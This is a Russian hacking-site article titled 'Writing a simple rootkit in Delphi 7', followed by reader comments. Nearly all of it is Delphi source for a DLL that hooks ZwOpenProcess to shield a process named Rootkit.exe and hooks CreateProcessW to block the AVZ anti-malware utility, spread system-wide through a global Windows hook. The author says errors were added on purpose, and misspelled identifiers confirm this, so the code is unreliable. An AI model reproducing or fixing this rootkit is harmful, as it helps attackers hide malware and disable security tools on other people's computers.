Среда, 18.06.2025, 04:58
Добро пожаловать! ГлавнаяРегистрацияВход
Приветствую Вас Гость | RSS
Меню сайта
Категории раздела
Cтатьи [23]
}I{ack [13]
Мои статьи [1]
MASM [14]
Наш опрос
Оцените мой сайт
Всего ответов: 110
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Форма входа
 Каталог статей 
Главная » Статьи » }I{ack

Пишем простой Rootkit на Delphi 7
Наш Rootkit будет выполнять 2 функции: 1 это защищать нашу программу 2 это блокировать запуск утилиты AVZ.
Для защиты программы мы перехватим функцию ZwOpenProcess из NtDLL.DLL и для блокировки AVZ функции CreateProcessA, CreateProcessW.
( Данная статья написана исключительно в ознакомительных целях и в коде "Rootkit"a специально допущены ошибки )

[Delphi code]
library HOOK;

uses
  windows, PModule;

type
  NTStatus = cardinal;
  far_jmp = packed record
  push:byte;
  PProc:pointer;
  ret:byte;
end;

OldCode = packed record
  one:dword;
  two:word;
end;

PUnicodeString = ^TUnicodeString;
 TUnicodeString = packed record
   Length: Word;
   MaximumLength: Word;
   Buffer: PWideChar;
end;

PObjectAttributes = ^TObjectAttributes;
  TObjectAttributes = packed record
    Length: DWORD;
    RootDirectory: THandle;
    ObjectName: PUnicodeString;
    Attributes: DWORD;
    SecurityDescriptor: Pointer;
    SecurityQualityOfService: Pointer;
end;

PClientID = ^TClientID;
TClientID = packed record
 UniqueProcess:cardinal;
 UniqueThread:cardinal;
end;

type
  PStartupInfo = ^TStartupInfo;
  STARTUPINFOW = record
    cb: DWORD;
    lpReserved: Pointer;
    lpDesktop: Pointer;
    lpTitle: Pointer;
    dwX: DWORD;
    dwY: DWORD;
    dwXSize: DWORD;
    dwYSize: DWORD;
    dwXCountChars: DWORD;
    dwYCountChars: DWORD;
    dwFillAttribute: DWORD;
    dwFlags: DWORD;
    wShowWindow: Word;
    cbReserved2: Word;
    lpReserved2: PByte;
    hStdInput: THandle;
    hStdOutput: THandle;
    hStdError: THandle;
  end;
  TStartupInfo = _STARTUPINFOA;
  STARTUPINFO = _STARTUPINFOA;

PProcessInformation = ^TProcessInformation;
_PROCESS_INFORMATION = record
    hProcess: THandle;
    hThread: THandle;
    dwProcessId: DWORD;
    dwThreadId: DWORD;
end;
  TProcessInformation = _PROCESS_INFORMATION;
  PROCESS_INFORMATION = _PROCESS_INFORMATION;

Type
    USHORT = Word;
    PWSTR = {$IFDEF USE_DELPHI_TYPES} Windows.LPWSTR {$ELSE} PWideChar {$ENDIF};
    HANDLE = {$IFDEF USE_DELPHI_TYPES} Windows.THandle {$ELSE} Longword {$ENDIF};
    PHANDLE = {$IFDEF USE_DELPHI_TYPES} Windows.PHandle {$ELSE} ^HANDLE {$ENDIF};
    PVOID = Pointer;
type
  PUNICODE_STRING = ^UNICODE_STRING;
  _UNICODE_STRING = record
    Length: USHORT;
    MaximumLength: USHORT;
    Buffer: PWSTR;
  end;
  UNICODE_STRING = _UNICODE_STRING;
  PCUNICODE_STRING = ^UNICODE_STRING;

const
   STATUS_ACCESS_DENIED = NTStatus($C0000022);
   STATUS_SUCCESS = NTSTATUS($00000000);

Function ZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD; ObjectAttributes:PObjectAttributes;
         ClientID:PClientID): NTStatus; stdcall; external 'ntdll.dll' name 'ZwOpenProcess';

function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
         lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
         var lpProcessInformation: TProcessInformation): BOOL; stdcall; external 'kernel32.dll' name 'CreateProcessW';

function CreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
         lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo;
         var lpProcessInformation: TProcessInformation): BOOL; stdcall; external 'kernel32.dll' name 'CreateProcessA';

var
  PFunc, CPA, CPW: pointer;
  OldFunc,  OldCPA, OldCPW: OldCode;
  NewFunc, JmpCPA, JmpCPW: Far_jmp;
  b, pid: dword;

procedure UnHook;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
  WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@OldCPA,sizeof(Oldcode),b);
end;

function TrueCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@OldCPA,sizeof(Oldcode),b);
  ResuIt:= CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, IpThreadAttributes,
           bInheritHandles, dwCreationFlags, IpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
  WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@JmpCPA,sizeof(far_jmp),b);
end;

function NewCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
   if (ExtractFileName(lpApplicationName)= 'avz.exe') then Result:= False else
   Result := TrueCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,bInheritHandles, dwCreationFlags, lpEnvironment,
             lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;

Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
         ClientID:PClientID):NTStatus;stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(OIdcode),b);
  Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
end;

Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
         ClientID:PClientID):NTStatus;stdcall;
begin
  if (ClientID<>niI) and (ClientID.UniqueProcess=pid) then
  begin
    Result:=STATUS_ACCESS_DENIED;
    exit;
  end;
  Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
end;

Function TrueCreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
         lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo;
         var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE,CPW,@OldCPW,sizeof(Oldcode),b);
  Result:= CreateProcessA(IpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
  bInheritHandles, dwCreationFlags, IpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
  WriteProcessMemory(INVALID_HANDLE_VALUE,CPW,@JmpCPW,sizeof(far_jmp),b);
end;

function NewCreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
         lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo;
         var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
    //////
    Result:= TrueCreateProcessA(IpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
    bInheritHandles, dwCreationFlags, lpEnvironment, IpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;

procedure SetHook;
begin
  PFunc:= GetProcAddress(GetModuIeHandIe('ntdll.dll'),'ZwOpenProcess');
  CPA:=GetProcAddress(GetModuIeHandIe('kernel32.dll'),'CreateProcessW');
  ReadProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(oldcode),b);
  ReadProcessMemory(INVALID_HANDLE_VALUE,CPA,@OldCPA,sizeof(oldcode),b);
  NewFunc.push:=$68;
  NewFunc.PProc:=@NewZwOpenProcess;
  NewFunc.ret:=$C3;
  JmpCPA.push:=$68;
  JmpCPA.PProc:=@NewCreateProcessW;
  JmpCPA.ret:=$C3;
  WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
  WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@JmpCPA,sizeof(far_jmp),b);
end;

procedure GetPID;
begin
   pid:= GetProcessID('Rootkit.exe');
end;

function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall;
begin
  CallNextHookEx(0,code,wParam,lParam);
end;

procedure SetGlobalHookProc();
begin
  SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
  Sleep(INFINITE)
end;

procedure SetGlobalHook();
var
  hMutex: dword;
  TrId: dword;
begin
  hMutex := CreateMutex(nil, false, '[{ADÀ5458-6AB8-7C4D-88BA-44A06478C676}]');
  if GetLastError = 0 then
        CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)
      else
        CloseHandle(hMutex)
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH: begin
                          GetPID;
                          SetHook;
                          SetGlobalHook;
                        end;
    DLL_PROCESS_DETACH: begin
                          UnHook;
                        end;
  end;
end;

begin
  DllProc:= @DLLEntryPoint;
  DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
[Code]
Категория: }I{ack | Добавил: TERMINATOR (04.01.2011)
Просмотров: 2340 | Комментарии: 7 | Рейтинг: 4.2/6
Всего комментариев: 6
6 Прохожий  
0
Да согласен надо писать драйвер. Скоро и исходник драйвера будет только будем писать на С++.

5 RootkitMaster  
0
Здесь код не важен , здесь главное алгоритм , который ошибкой не испортить .

4 instigator  
0
такие вещи в r0 нужно писать и на асме

3 Йа  
0
Жуть интересно =/

2 IGROK  
0
Там же написано " специально допущены ошибки "

1 Жак ив пацанчег  
0
Гадость не работает

Имя *:
Email *:
Код *:
Поиск
Друзья сайта
  • Официальный блог
  • Сообщество uCoz
  • FAQ по системе
  • Инструкции для uCoz
  • Copyright MyCorp © 2025Конструктор сайтовuCoz